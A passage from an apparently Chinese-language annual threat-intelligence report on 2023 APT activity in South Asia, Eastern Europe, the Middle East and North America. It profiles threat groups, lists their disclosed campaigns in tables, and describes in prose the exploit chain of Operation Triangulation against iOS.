(Patchwork) 2009 2013

主要针对中国、巴基斯坦等亚洲地区国家，以政府、军事、电力、工业、
外交和经济等领域为主窃取敏感信息。具备 Windows、Android、
macOS 三平台攻击能力。奇安信内部跟踪编号为 APT-Q-36。

魔罗桫 2013 2017

该组织别名 Confucius。2017 年 10 月由 Palo Alto Networks Unit 
42 作为恶意家族披露。2017 年末，趋势科技将其归为 APT 组织，
并分析了其与 Patchwork 存在一些联系。该组织的活跃时间可追
溯至 2013 年。该组织拥有针对 Windows、Android 平台的攻击恶
意代码，并常用 Delphi 作为其 Dropper 程序。

GroupA21
(CNC) 2017 2019

GroupA21 最早由国内安全公司命名，至少自 2017 年开始活动，
主要针对南亚地区各国开展网络间谍活动。该组织的攻击手法与响
尾蛇组织和蔓灵花组织存在相似之处，但在攻击细节和所用木马方
面有着明显的区别。

金刚象
(VajraEleph) 2021 2022

该 APT 组织最早的攻击活动可以追溯到 2021 年 6 月。疑似来自南
亚，主要针对巴基斯坦军方展开了有组织、有计划、针对性的军事
间谍情报活动。其攻击目标主要为巴基斯坦国家的边防军（FC）和
特种部队（SSG），尤其是俾路支省边防军（FC BLN），此外还包
含少量的联邦调查局（FIA）和警察（Police）。奇安信内部跟踪编
号为 APT-Q-43。

 第三章 地缘下的 APT 组织、活动和趋势 / 全球高级持续性威胁（APT）2023 年度报告
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图 3.11 红雨滴团队披露 Donot 组织攻击样本

总览2023年披露的南亚地区APT组织攻击活动，攻击目标涉及政府、国防、军事等领域。不同APT组织
针对不同国家进行攻击，都有较为明确的目标且普遍带有政治色彩。

2023年年初时红雨滴团队在日常的威胁狩猎中捕获到Donot组织以克什米尔地区相关文档为诱饵的攻击
样本。

样本的主要攻击流程与之前相似，但攻击者也在尝试不同的恶意代码植入手段，其攻击组件的代码细节
变化说明该组织在频繁的攻击中不停更新武器库、变换自身攻击手法。
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图 3.12 Donot 组织攻击流程

图 3.13 SideCopy 组织攻击诱饵

公开情报显示SideCopy组织持续对印度国防部发起进攻，红雨滴团队也捕获到了以印度国防部相关文
档为诱饵发起的攻击。诱饵使用恶意LNK文件作为入口点，以无文件的方式在内存中加载执行后续的木
马，木马可能为Delphi或者C++编写的新型木马。

 第三章 地缘下的 APT 组织、活动和趋势 / 全球高级持续性威胁（APT）2023 年度报告
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持续活跃的组织还有蔓灵花，2023年中我们发现该组织通过鱼叉式钓鱼邮件投递的恶意压缩包有时候仍
会包含带漏洞的Office文件，或者选择利用WinRAR漏洞构造的恶意压缩包。后续MSI文件有选择性地下
发，而MSI文件中通常搭载蔓灵花的wmRAT木马。

图 3.14 蔓灵花组织 2023 年常用攻击流程



53全球高级持续性威胁（APT）2023 年度报告

奇安信威胁情报中心整理了2023年南亚地区APT组织热点攻击活动，如下表所示：

组织名 报告内容 披露时间 披露机构

SideCopy SideCopy 组织最新攻击武器披露 [140] 2023/1/6 360

CNC APT 组织“GroupA21”借政府官方文档攻击巴基斯坦 [142] 2023/1/11 微步在线

蔓灵花
BITTER 组织借助 Office 组件漏洞对孟加拉国军事机构开展间谍活动
[142] 2023/1/13 中孚信息

肚脑虫 APT-C-35（肚脑虫）组织近期攻击活动披露 [143] 2023/2/7 360

蔓灵花 蔓灵花组织 2023 年初攻击行动与新组件揭秘 [144] 2023/2/9 深信服

透明部落 APT-C-56（透明部落）伪装简历攻击活动分析 [145] 2023/2/14 360

响尾蛇 Sidewinder 针对亚太地区的攻击活动 [146] 2023/2/15 Group-IB

SideCopy SideCopy 针对印度的政府机构投递 ReverseRAT 后门 [147] 2023/2/21 ThreatMon

响尾蛇 “响尾蛇”针对国内高校的钓鱼攻击活动 [37] 2023/2/22 微步在线

SideCopy APT 组织 SideCopy 针对印度政府的钓鱼攻击活动分析 [148] 2023/2/25 绿盟

透明部落 透明部落借助情感陷阱引诱印巴官员安装木马化的 Android 应用 [17] 2023/3/7 ESET

透明部落
APT-C-56（透明部落）Android 平台恶意软件 RlmRat 与 Linux 平台
恶意软件波塞冬新型组件披露 [41] 2023/3/8 360

SideCopy SideCopy APT 组织攻击印度政府机构 DRDO[149] 2023/3/21 Cyble

SideCopy
SideCopy 组织近期以印度国防部相关文档为诱饵的攻击活动分析
[150] 2023/3/21 奇安信

肚脑虫 暗影重重：肚脑虫（Donot）组织近期攻击手法总结 [151] 2023/3/23 奇安信

蔓灵花 蔓灵花针对中国核能行业的网络钓鱼活动 [152] 2023/3/24 Intezer

蔓灵花 Bitter 针对中国机构投递 CHM 恶意软件 [38] 2023/4/4 ASEC

透明部落 透明部落 (APT36) 攻击印度教育部门 [42] 2023/4/13 SentinelOne

肚脑虫 Donot APT 使用 Android 恶意软件攻击南亚目标 [153] 2023/4/14 Cyfirma

CNC 疑似 CNC 组织最新攻击动态分析 [39] 2023/4/14 深信服

CNC CNC 组织针对我国某单位的攻击活动分析 [154] 2023/4/16 安天

透明部落 APT36 利用 Linux 恶意软件对印度展开间谍活动 [155] 2023/4/17 Uptycs

表 3.15 2023 年南亚地区 APT 组织热点攻击活动 *1
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组织名 报告内容 披露时间 披露机构

SideCopy SideCopy 疑似分发关于印度国家军事研究机构的钓鱼邮件 [157] 2023/5/4 Fortinet

响尾蛇 Sidewinder 组织针对巴基斯坦和土耳其的攻击活动 [158] 2023/5/8 BlackBerry

SideCopy SideCopy 伪装注册邀请表格进行攻击 [159] 2023/5/11 360

响尾蛇 追踪 Sidewinder 使用的网络基础设施 [160] 2023/5/17 Group-IB

摩诃草 白象组织使用 BADNEWS 和 Remcos 商业木马的最新攻击活动 [16] 2023/5/23 安天

摩诃草 对开源项目情有独钟的 Patchwork 组织 [162] 2023/5/24 深信服

摩诃草 PatchWork 组织新型攻击武器报告 -EyeShell 武器披露 [163] 2023/5/25 知道创宇

蔓灵花 Bitter 组织新攻击武器分析报告 -ORPCBackdoor 武器分析 [164] 2023/5/30 知道创宇

响尾蛇 响尾蛇组织使用 DLL 劫持加载 Cobalt Strike 攻击巴基斯坦政府 [166] 2023/6/7 深信服

SideCopy
Sidecopy 近期针对印度国防、军事部门下发新后门 FetaRAT 的活动
分析 [13] 2023/6/8 安恒

摩诃草 白象组织盯上国内军工和高校，网络攻击持续不断 [21] 2023/6/14 微步在线

SideCopy SideCopy 针对印度国防的持续攻击 [167] 2023/6/15 Seqrite

肚脑虫 Donot APT 借助 Google Play 商店部署恶意 Android 应用程序 [168] 2023/6/16 Cyfirma

肚脑虫
肚脑虫组织以漏洞防护相关诱饵投递伪装为 Chrome 更新版本的恶
意程序 [169] 2023/6/22 Rewterz

响尾蛇 Sidewinder 针对巴基斯坦政府发起网络间谍活动 [170] 2023/6/25 Rewterz

摩诃草 疑似摩诃草组织利用 WarHawk 后门变种 Spyder 窥伺多国 [172] 2023/7/4 奇安信

透明部落 透明部落利用恶意 PPT 对印度政府实体发起攻击 [173] 2023/7/11 ThreatMon

SideCopy SideCopy APT 攻击的复杂感染链 [174] 2023/7/18 ThreatMon

SideCopy SideCopy 组织针对印度政府部门的攻击活动分析 [175] 2023/7/25 360

蔓灵花 幽影长存：蔓灵花组织近期攻击活动分析 [176] 2023/8/2 奇安信

神秘象 揭秘南亚新 APT 组织 APT-K-47“神秘象”[177] 2023/8/4 知道创宇

CNC 关于近期国内航空航天领域面临 APT 窃密攻击风险分析 [178] 2023/8/10 深信服

肚脑虫 APT-C-35（肚脑虫）组织在移动端采用新的投递方式分析 [179] 2023/8/15 360

表 3.15 2023 年南亚地区 APT 组织热点攻击活动 *2
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组织名 报告内容 披露时间 披露机构

魔罗桫 Confucius 组织攻击武器 MessPrint 不同版本的对比分析 [180] 2023/8/31 BaizeSec

透明部落 透明部落伪装成私密聊天应用的攻击活动分析 [181] 2023/9/1 安天

魔罗桫 Confucius 组织移动端最新攻击活动分析 [182] 2023/9/8 安天

摩诃草 白象组织 BADNEWS 新型样本分析 [183] 2023/9/11 BaizeSec

透明部落 APT36 更新后的武器库一览 [184] 2023/9/12 Zscaler

透明部落 透明部落的 CapraRAT 伪装为 YouTube 攻击 Android 手机 [185] 2023/9/18 SentinelOne

魔罗桫
Confucius 近期针对巴基斯坦电信、能源、军事、政府和宗教等行业
的攻击活动分析 [19] 2023/10/16 安恒

SideCopy
矛头持续指向印度国防部，Sidecopy 加入 CVE-2023-38831 漏洞利
用攻击队列 [15] 2023/10/26 安恒

SideCopy
SideCopy 针对多平台的攻击：利用 WinRAR 漏洞和 Ares RAT 针对
Linux 平台的变体 [186] 2023/11/6 Seqrite

响尾蛇 疑似响尾蛇组织利用 Nim 后门刺探南亚多国情报 [187] 2023/11/8 奇安信

响尾蛇 响尾蛇针对巴基斯坦政府单位的攻击行动 [188] 2023/11/10 深信服

金刚象 桃色陷阱行动：APT-C-52（焰魔蛇）组织针对巴基斯坦的攻击活动 [18] 2023/11/14 360

蔓灵花 蔓灵花组织投向国产办公软件的目光与 WinRAR 漏洞之触 [10] 2023/11/21 深信服

肚脑虫 APT-C-35（肚脑虫）利用 RemcosRAT 远控攻击活动分析 [189] 2023/11/23 360

摩诃草 摩诃草组织（APT-Q-36）借 Spyder 下载器投递 Remcos 木马 [190] 2023/11/28 奇安信

透明部落
APT-C-56（透明部落）利用 OLE 对象部署 CrimsonRAT 木马的攻击
活动分析 [44] 2023/12/7 360

蔓灵花 蔓灵花（BITTER）近期活跃样本分析 [191] 2023/12/21 山石网科

透明部落
针对印度政府的 RusticWeb 攻击行动：从基于 Rust 的恶意软件到利
用 Web 服务的数据渗出 [192] 2023/12/21 Seqrite

表 3.15 2023 年南亚地区 APT 组织热点攻击活动 *3
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自 从 俄 乌 战 争 开 始 后 东 欧 地 区 的 APT 活 动 愈 演 愈 烈，APT28、APT29、Turla、Gamaredon、
Sandworm 等组织持续活跃，频繁针对乌克兰、波兰及欧洲其他国家发起攻击。APT28、APT29、Turla
等组织不断在攻击活动中更新武器库，改进自身的 TTP，反映出这些组织雄厚的技术实力。攻击者通常
在初始阶段使用公共 API 服务等手段隐藏自身踪迹，收集关于受害者的初步信息，待判定受害者具有高
价值后下发后续木马执行窃密等任务。

四、东欧地区
Eastern  Europe

东欧 APT 组织 攻击能力

APT28	
APT29		
Turla		
Sandworm		
Gamaredon	
UAC-0056		
FIN7		
DustSquad		

+++
+++
+++
+++
+
+
+
++
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组织名称 最早活动时间 公开披露时间 组织简介

APT28 2004 2014
APT28 组织历史活动非常频繁，主要针对政府，军事和安全组织，相
关攻击覆盖 Windows、Linux、macOS、Android 和 iOS，其在 2016
年企图干扰美国大选，在 2022 年上半年被披露发动了针对美国国防
承包商的攻击，俄乌冲突中多次向乌克兰投放恶意软件。

APT29 2008 2013
APT29 组织的主要目标为西亚、中亚、东非和中东的政府部门和机构。
其被认为在 2015 年夏季攻击了美国 DNC，近年来不断针对多国外交
机构发起攻击。

Turla 2007 2014 该组织拥有非常复杂的 TTP，其受害者覆盖超过 45 个国家，常针对
政府、大使馆、军事、教育、研究和制药公司实施鱼叉和水坑攻击。

Sandworm 2009 2015
Sandworm 组织大约从 2009 年开始运营，主要针对与能源、工业控
制系统、SCADA、政府和媒体相关领域的乌克兰实体，在 2022 年俄
乌冲突中策划了针对乌克兰电网的攻击。

Gamaredon 2013 2015
主要针对乌克兰执法部门、政府机构和军事力量进行间谍活动和情报
收集等攻击。Operation Armageddon 行动与该组织有关，2022 年
上半年频繁向乌克兰发起网络钓鱼攻击。

Ghostwriter 2017 2020
Ghostwriter 由国外安全厂商 Fireeye 发现并命名，该组织主要针对
竞选活动相关人员以及欧洲地区国防、教育、政府机关以及媒体单位。
Ghostwriter 组织至少从 2017 年 3 月开始开展一系列活动。

FIN7 2013 2017
FIN7 最早由国外安全厂商 FireEye 在 2017 年 3 月份命名，其攻击活
动最早从 2015 年开始，针对美国的零售、餐饮、酒店业务，攻击目
标还包括金融服务、运输、零售、教育、电子产品等领域。该组织经
常使用商业恶意软件。FIN7 有时被称为 CarBanak、Anunak。

DustSquad 2014 2018
DustSquad 组织至少从 2014 年开始活动，主要针对中亚地区，包括
地方政府、外交使团和个人。DustSquad 主要使用 delphi 编写恶意
软件。

表 3.16 2023 年东欧地区活跃 APT 组织
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图 3.17 鱼叉邮件制作面板

东欧地区APT组织发动攻击次数频繁，钓鱼诱饵更新也极为迅速，能够在热点事件发生后的短期时间内
迅速制作出可用于实战的诱饵文件。Gamaredon组织在4月份时被国外厂商EclecticIQ的安全团队发现
了其暴露在互联网上的自动化钓鱼系统，该系统用于创建和分发鱼叉式网络钓鱼电子邮件。侧面说明在
这些组织实施的钓鱼攻击背后可能都有着强大的自动化工具支持。

Gamaredon组织制作鱼叉邮件的服务器对外开放80端口，供攻击者使用。Web面板允许威胁行为者使
用硬编码的发件人地址pivn-kr@prokuratura[.]dp[.]ua发送电子邮件。该电子邮件地址曾被用于向乌克
兰军方发送鱼叉邮件。安全研究人员发现该Web服务器上存在错误配置的.htaccess文件，内部包含一系
列允许访问服务器的白名单IP地址。

今年APT29曾利用宝马汽车广告进行网络钓鱼，目标为乌克兰境内的其他国家外交使团。攻击者投递的
初始载荷为Word文档，受害者如果点击里面的链接会被重定向到已被攻击者攻陷的合法网站，网站上
托管的文件伪装为图片诱使受害者下载，受害者下载文件之后便会启动后续恶意软件。此次攻击活动至
少影响到位于基辅的22个外交使团。
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图 3.18 APT29 钓鱼攻击流程

APT28组织与其他东欧的APT组织一样，对邮件服务器保持着较高的关注度，该组织在攻击活动中使用
了Microsoft Exchange、Roundcube等邮件服务的历史漏洞，还利用钓鱼网站窃取公共邮件服务的身份
验证数据。

图 3.19 APT28 模仿 Yahoo.com 邮件服务消息的 HTML 文件示例

 第三章 地缘下的 APT 组织、活动和趋势 / 全球高级持续性威胁（APT）2023 年度报告
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图 3.20 Sandworm 组织破坏性 OT 事件

表 3.21 2023 年东欧地区 APT 组织热点攻击活动 *1

Sandworm组织今年继续执行其破坏任务，先后破环了乌克兰的新闻机构、信息和通信系统、电力系统
等。同时，Sandworm组织持续地更新CADDYWIPER等恶意软件，从而满足在不同环境下执行任务的需
要。

奇安信威胁情报中心整理了2023年东欧地区APT组织热点攻击活动，如下表所示：

组织名 报告内容 披露时间 披露来源

Turla Turla 通过 Andromeda 恶意软件攻击乌克兰 [193] 2023/1/5 Mandiant

Sandworm Sandworm 组织借助 5 种擦除器攻击乌克兰新闻机构 [194] 2023/1/27 CERT-UA

Sandworm Sandworm APT 使用新的 SwiftSlicer 擦除器攻击乌克兰 [195] 2023/1/27 ESET

Gamaredon 拉脱维亚国防部遭到黑客团伙 Gamaredon 的钓鱼攻击 [196] 2023/1/28 Recorded Future
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组织名 报告内容 披露时间 披露来源

Gamaredon Gamaredon 组织针对乌克兰当局开展间谍活动 [197] 2023/2/1 CERT-UA

Gamaredon Gamaredon 的攻击技战术和目标分析 [200] 2023/3/13 ThreatMon

APT29 NOBELIUM 利用波兰大使访美来针对援助乌克兰的欧盟政府 [201] 2023/3/14 BlackBerry

APT29 APT29 组织针对欧洲等地区外交人员的间谍活动 [203] 2023/4/13 CERT.PL

FIN7 Conti 组织前成员在攻击中部署与 FIN7 有关的后门 [204] 2023/4/14 IBM

Gamaredon
Gamaredon 用于进行自动化鱼叉式网络钓鱼活动的 Web 服务面板
暴露 [205] 2023/4/17 EclecticIQ

APT28 APT28 利用已知漏洞在思科路由器上进行侦察和部署恶意软件 [206] 2023/4/18 NCSC

Tomiris 攻击组织 Tomiris 与 Turla 的联系 [207] 2023/4/24 Kaspersky

FIN7 疑似 FIN7 针对 Veeam 备份服务器发起攻击 [208] 2023/4/26 WithSecure

DustSquad DustSquad 组织针对塔吉克斯坦的间谍活动 [209] 2023/4/28 PRODAFT

APT28 APT28 使用伪造的“Windows 更新”指南攻击乌克兰政府 [210] 2023/4/28 CERT-UA

Sandworm 疑似 Sandworm 使用 WinRAR 擦除乌克兰国家机构的数据 [211] 2023/4/29 CERT-UA

Sandworm 泄露的 NTC Vulkan 文件中披露的信息可能与 Sandworm 有关 [212] 2023/5/25 Trustwave

Silence Truebot 被用来部署 Cobalt Strike 和 FlawedGrace[213] 2023/6/12 THE DFIR REPORT

Gamaredon Shuckworm 针对乌克兰安全部门、军队和政府机构的网络攻击 [214] 2023/6/15 Symantec

Ghostwriter
GhostWriter 组织使用 PicassoLoader 和 Cobalt Strike Beacon 对
乌克兰国家机构发起攻击 [215] 2023/6/16 CERT-UA

APT28
BlueDelta 利用乌克兰政府 Roundcube 邮件服务器展开间谍活动
[216] 2023/6/20 Recorded Future

APT28 APT28 组织在一次间谍活动中使用了三个 Roundcube 漏洞 [217] 2023/6/20 CERT-UA

Ghostwriter
UAC-0057 使用 PicassoLoader/njRAT 对政府机构进行有定向网络攻
击 [218] 2023/7/7 CERT-UA

APT28 APT28 组织通过网络钓鱼攻击获取公共邮件服务的身份验证数据 [5] 2023/7/8 CERT-UA

表 3.21 2023 年东欧地区 APT 组织热点攻击活动 *2
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组织名 报告内容 披露时间 披露来源

APT29 APT29 利用宝马汽车广告对多国外交人员进行网络钓鱼 [2] 2023/7/12 Palo Alto Networks

APT29 APT29 在新的网络活动中冒充挪威大使馆 [219] 2023/7/12 Lab52

Ghostwriter
疑似 GhostWriter 针对乌克兰和波兰的政府、军事和民用实体发起
攻击 [220] 2023/7/13 Cisco

Gamaredon Gamaredon 近期相关活动总结 [221] 2023/7/13 CERT-UA

Turla Turla 使用恶意软件 CAPIBAR 和 KAZUAR 进行攻击 [222] 2023/7/18 CERT-UA

APT29 APT29 仿冒德国大使馆下发恶意 PDF 文件 [224] 2023/7/27 安恒

APT29 BlueBravo 利用 GraphicalProton 恶意软件瞄准外交实体 [225] 2023/7/27 Recorded Future

APT29
Midnight Blizzard 通过 Microsoft Teams 进行有针对性的社会工程
攻击 [34] 2023/8/2 微软

APT29
疑似 APT29 组织使用德国大使馆外交内容作为诱饵传播恶意 PDF 文
件 [226] 2023/8/10 EclecticIQ

Sandworm
与 Sandworm 组织有关的 Android 恶意软件 Infamous Chisel 分析
[227] 2023/8/31 CISA

APT28 疑似 APT28 相关的 "Steal-It" 窃密行动 [228] 2023/9/6 Zscaler

Gamaredon 披露 APT 组织 Gamaredon 最新的网络基础设施 [229] 2023/9/10 Silent Push

Turla Turla 组织近期常用恶意软件披露 [230] 2023/9/15 Palo Alto Networks

APT28 APT28 组织通过 mockbin API 获取敏感信息 [231] 2023/10/8 山石网科

Sandworm, 
APT28 国家背景攻击组织利用 WinRAR 漏洞 [232] 2023/10/18 Google

APT28 披露 APT28 攻击法国企业和大学等组织机构的 TTP[233] 2023/10/27 CERT-FR

Turla Pensive Ursa 使用 Kazuar 新变种开展攻击活动 [234] 2023/10/31 Palo Alto Networks

Sandworm Sandworm 针对乌克兰电力系统的破坏性攻击活动 [235] 2023/11/9 Mandiant

APT29 APT29 利用 WinRAR 漏洞针对大使馆和国际组织的间谍行动 [236] 2023/11/15 乌克兰国家安全与
国防事务委员会

Gamaredon Gamaredon 利用 USB 存储介质传播的蠕虫病毒 LitterDrifter[237] 2023/11/17 CheckPoint

表 3.21 2023 年东欧地区 APT 组织热点攻击活动 *3
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组织名 报告内容 披露时间 披露来源

APT28 APT28 利用 Outlook 漏洞 CVE-2023-23397 访问电子邮件帐户 [238] 2023/12/4 波兰网络司令部

APT28 TA422 组织向欧洲和北美地区发起大量攻击 [239] 2023/12/5 Proofpoint

Sandworm 大规模“断网”，乌克兰移动网络巨头 Kyivstar 遭黑客定向攻击 [240] 2023/12/14 奇安信

APT29 APT29 大规模利用 JetBrains TeamCity 漏洞 CVE-2023-42793[33] 2023/12/14 CISA

表 3.21 2023 年东欧地区 APT 组织热点攻击活动 *4
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2023 年度，中东地区网络威胁的复杂性和普遍性依然存在，尤其在以巴冲突的背景下情形变得更为严重。
网络攻击活动与地缘政治紧张局势密切相关，各方可能加强对对手的网络侦察和攻击，以获取战略情报
或进行网络战争。在 2023 年，中东地区见证了网络攻击手段的新趋势，包括更复杂的恶意软件、更精
密的社会工程学战术以及对新兴技术（如人工智能和物联网）的滥用，以实施更具破坏性的网络攻击。
攻击者将目标对准多个领域的关键基础设施，包括能源、通信和金融系统等行业，威胁着中东地区的经
济稳定和社会运行。

下表为 2023 年度中东地区较为活跃的 APT 组织：

五、中东地区
Middle  East

中东 APT 组织 攻击能力

PROMETHIUM	
双尾蝎		
MuddyWater		
APT34		
APT35		
Agrius		

++
+ 
+
++
++
+
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表 3.22 2023 年度中东地区活跃 APT 组织

组织名称 最早活动时间 公开披露时间 组织简介

PROMETHIUM 2012 2016 PROMETHIUM 组织拥有复杂的模块化攻击武器库与丰富的网络资源，
具备 0day 漏洞作战能力，拥有 Windows、Android 双平台攻击武器。

双尾蝎 2011 2015
双尾蝎组织攻击范围主要为中东地区，其针对 Windows 和 Android
双平台采取鱼叉或水坑等攻击方式配合社会工程学手段进行渗透，向
政府、金融、媒体、能源、军事等特定目标人群进行攻击。

MuddyWater 2017 2017
主要针对中东实施网络间谍活动，也针对欧洲和北美国家。其攻击目
标包括电信、政府 (IT 服务 ) 和石油部门。主要使用基于 PowerShell
的初始阶段后门 POWERSTATS。

APT33 2013 2017 APT33 是 FireEye 披露的 APT 组织，攻击目标包括美国、沙特阿拉伯
和韩国，主要针对航空和能源领域实施攻击活动。

APT34 2014 2016 APT34 主要针对中东地区实施攻击，攻击目标包括金融、政府、能源、
化工和电信等行业。

APT35 2014 2018
APT35 是 FireEye 于 2018 年披露的 APT 组织，也被称为 Newscaster 
Team。该组织通常针对美国和中东的军事、外交和政府人员、媒体
组织、能源和国防工业基地 (DIB) 以及工程、商业服务和电信部门进
行攻击活动。

Agrius 2019 2020
Agrius 组织是由国外网络安全公司 SentinelOne 发现并命名的 APT
组织，使用恶意软件抹除受害者系统数据，并且伪装为勒索攻击掩盖
其攻击行为。

沙猁猫 2021 2023
沙猁猫（Caracal Kitten）是奇安信独立发现并全球率先披露的 APT
组织，内部编号为 APT-Q-58。主要使用移动端恶意软件与对库尔德
斯坦民主党（KDP）活动人士进行攻击。

 第三章 地缘下的 APT 组织、活动和趋势 / 全球高级持续性威胁（APT）2023 年度报告
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奇安信威胁情报中心对中东地区的网络威胁进行了长期追踪和研究，多年以来揭示了该地区的许多 APT
组织的攻击活动。在 2023 年度，奇安信病毒响应中心移动安全团队率先在全球披露中东地区的新组织
“沙猁猫”（Caracal Kitten），该组织是奇安信独立发现并全球率先披露的 APT 组织，内部编号为
APT-Q-58。该组织主要使用移动端恶意软件对库尔德斯坦民主党（KDP）活动人士进行攻击，窃取受害
者的通讯录、短信和其他社交软件资料等敏感信息。

图 3.23 沙猁猫制作的恶意应用所伪装的交互界面
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2023 年度，中东地区的各个 APT 组织均不遗余力地更新武器库，同时保持着高度隐蔽性，使其活动难
以察觉。以 MuddyWater 为例，2023 年中有国外安全厂商披露其恶意 C2 框架 PhonyC2，到年末的时候，
又有其他厂商披露了该组织新的 MuddyC2Go 框架和自定义键盘记录器。这表明以 MuddyWater 为代
表的中东 APT 组织更新武器库极为迅速，威胁程度不可小觑。

中东地区的多个 APT 组织参与到冲突国之间的信息战争，通过网络攻击和情报渗透的手段，影响政治决
策、社会运行和经济发展，持续对地区安全构成重大挑战。根据公开情报，我们整理了中东地区 2023
年度的主要攻击活动，具体内容如下表所示：

组织名 报告内容 披露时间 披露来源

PROMETHIUM 针对 Android 用户的 StrongPity 间谍活动 [242] 2023/1/10 ESET

APT34 APT34 组织新的恶意软件瞄准中东 [243] 2023/2/2 Trend Micro

MuddyWater MuddyWater 对以色列进行网络攻击 [244] 2023/3/9 以色列国家安全局

双尾蝎 APT-C-23（双尾蝎）组织最新攻击活动分析 [245] 2023/3/30 360

双尾蝎 Mantis：用于攻击巴勒斯坦目标的新工具 [246] 2023/4/4 Symantec

MuddyWater MERCURY 和 DEV-1084：对混合环境的破坏性攻击 [247] 2023/4/7 Microsoft

APT35 Mint Sandstorm 改进攻击技术以针对高价值目标 [248] 2023/4/18 Microsoft

MuddyWater 追踪 MuddyWater 的基础设施 [249] 2023/4/18 Group-IB

APT35 APT35 组织通过改进的工具库瞄准以色列 [250] 2023/4/25 CheckPoint

APT35 深入了解 APT35 的最新恶意软件 [251] 2023/4/26 Bitdefender

MuddyWater MuddyWater 借助网络托管服务商的工具发起攻击 [252] 2023/5/2 ESET

Agrius AGRIUS 在针对以色列组织的攻击中部署 MONEYBIRD[253] 2023/5/24 CheckPoint

Charming Kitten Charming Kitten 使用 POWERSTAR 的新变种 [254] 2023/6/28 Volexity

MuddyWater MuddyWater 新的恶意命令与控制框架 PhonyC2[255] 2023/6/30 Deep Instinct

APT42 TA453 利用 LNK 和 Mac 恶意软件的攻击活动 [256] 2023/7/6 Proofpoint

表 3.24 2023 年度中东地区 APT 组织热点攻击活动 *1
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组织名 报告内容 披露时间 披露来源

月光鼠 月光鼠组织近期针对中东地区攻击活动分析 [257] 2023/7/21 安天

双尾蝎 远控之网：双尾蝎组织发动的多重远控指令攻击揭秘 [258] 2023/8/4 安天

APT34 APT34 使用 SideTwist 变种木马开展新一轮网络钓鱼活动 [250] 2023/8/25 绿盟

APT35 APT35 的 Sponsoring Access 攻击活动 [260] 2023/9/11 ESET

APT33
Peach Sandstorm 通过密码喷射活动实现对高价值目标的情报收
集 [261] 2023/9/14 Microsoft

双尾蝎 APT-C-23（双尾蝎）持续对中东地区发起攻击 [262] 2023/9/20 360

OilRig
OilRig 在 2021 年和 2022 年针对以色列的 Outer Space 和 Juicy 
Mix 攻击活动 [263] 2023/9/21 ESET

Stealth Falcon
Stealth Falcon 组织使用 Deadglyph 后门在中东进行间谍活动
[264] 2023/9/22 ESET

APT34 APT34 通过网络钓鱼攻击部署新恶意软件 [265] 2023/9/29 Trend Micro

沙猁猫 (APT-Q-58) 沙猁猫组织—针对库尔德斯坦民主党（KDP）活动人士的攻击 [266] 2023/10/10 奇安信

APT34 Crambus：针对中东政府的新攻击活动 [267] 2023/10/19 Symantec

双尾蝎 对 AridViper 基础设施的扩展分析 [268] 2023/10/26 Sekoia.io

Scarred Manticore Scarred Manticore 活动的技术分析 [269] 2023/10/31 CheckPoint

双尾蝎
Arid Viper 将移动端间谍软件伪装成合法 Android 应用程序的更
新 [270] 2023/10/31 Cisco

MuddyWater MuddyWater 使用新的 TTP 进行鱼叉式网络钓鱼 [271] 2023/11/2 Deep Instinct

Agrius Agrius 攻击以色列高等教育和技术部门 [272] 2023/11/6 Palo Alto Networks

双尾蝎 Arid Viper 的 SpyC23 恶意软件持续针对 Android 设备 [273] 2023/11/6 SentinelOne

沙猁猫 (APT-Q-58) Caracal Kitten 组织近期在伊朗地区活跃 [274] 2023/11/9 山石网科

月光鼠 TA402 使用复杂的 IronWind 感染链攻击中东政府实体 [275] 2023/11/14 Proofpoint

OilRig OilRig 攻击活动中使用借助云服务通信的下载器程序 [276] 2023/12/14 ESET

MuddyWater MuddyWater 攻击北非和东非的电信组织 [277] 2023/12/19 Symantec

表 3.24 2023 年度中东地区 APT 组织热点攻击活动 *2
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北美 APT 组织 攻击能力

Longhorn
Equation	Group
ATP-Q-94

+++
+++ 
+++

2023 年度疑似源自北美地区的 APT 活动中最举世瞩目的要属“Operation Triangulation”攻击团伙，
该组织针对 iOS 设备的攻击活动持续多年，受害者涉及多个国家重要行业的人员。

六、北美地区
North America
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组织名称 最早活动时间 公开披露时间 组织简介

Operation Triangulation 2019 2023

2023 年 6 月初，国外安全厂商 Kaspersky 发现该攻击行
动并将其命名为 Operation Triangulation，行动时间可
追溯至 2019 年。
Operation Triangulation 攻击的背后团伙疑似来自北美
地区，攻击目标包括俄罗斯在内的多个国家的政府、高
科技等行业重点人员。攻击活动中利用了与 iOS 设备有
关的多个 0day 漏洞。

表 3.25 2023 年北美地区活跃 APT 组织

图 3.26 活动执行流程图 [282]

Operation Triangulation 攻击行动针对特定目标的 iOS 设备进行持续攻击。研究人员对其进行了数月
分析，总结流程如下：设备收到恶意 iMessage 附件，该附件启动一系列漏洞利用程序，其执行最终导
致 TriangleDB 木马程序的启动。

根据分析“TriangleDB”[280] 总共有 24 个命令，支持的控制功能包括：
    与文件系统交互（创建、修改、渗出和删除文件）；

    与进程交互（列出和终止进程）；

    转储受害者的钥匙串项目，这可能有助于获取受害者的凭证；

    监控受害者的地理位置；

    运行附加模块，即 TriangleDB 木马程序加载的 Mach-O 可执行程序。
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图 3.27 活动完整攻击链 [283]

该攻击使用了 4 个 0day 漏洞，适用的 iOS 版本可至 16.2。以下是攻击过程的详细说明：
    攻击者发送恶意 iMessage 附件。

   利用远程代码执行漏洞：附件利用了未记录的、仅存在于苹果设备中的 ADJUST TrueType 字体指令        

的远程代码执行漏洞（CVE-2023-41990）。

    对 JavaScriptCore 库环境进行修改，从而执行 JavaScript 编写的提权漏洞利用代码。

   利用 JavaScriptCore 调试功能 DollarVM($vm)，使脚本取得操纵 JavaScriptCore 内存并执行 native 

API 函数的能力，利用代码适用于新旧 iPhone 设备，并包含针对新款机型的 PAC 绕过操作。

    利用整数溢出漏洞 CVE-2023-32434：在用户级别获取对设备整个物理内存的读 / 写访问权限。

    借助设备硬件映射 IO(MMIO) 寄存器绕过基于硬件的安全保护机制 PPL，该漏洞被赋予编号

CVE-2023-38606。

    完成以上漏洞利用后，JavaScript 漏洞利用程序具备了执行任何操作的能力，但攻击者选择了执行以

下操作：(a) 启动 IMAgent 进程并注入有效载荷，清除设备上的漏洞利用痕迹；(b) 以不可见模式运行

Safari 进程，并使其访问指定网页。

    网页有一个脚本，首先对受害者进行验证，如果检查通过，则进入下一阶段：对 Safari 的漏洞利用。

    Safari 漏洞利用：利用 CVE-2023-32435 漏洞执行 Shellcode。Shellcode 执行另一个内核漏洞利用代          

码，该代码再度利用 CVE-2023-32434 和 CVE-2023-38606。

    取得 Root 权限，然后执行其他阶段，加载间谍软件。
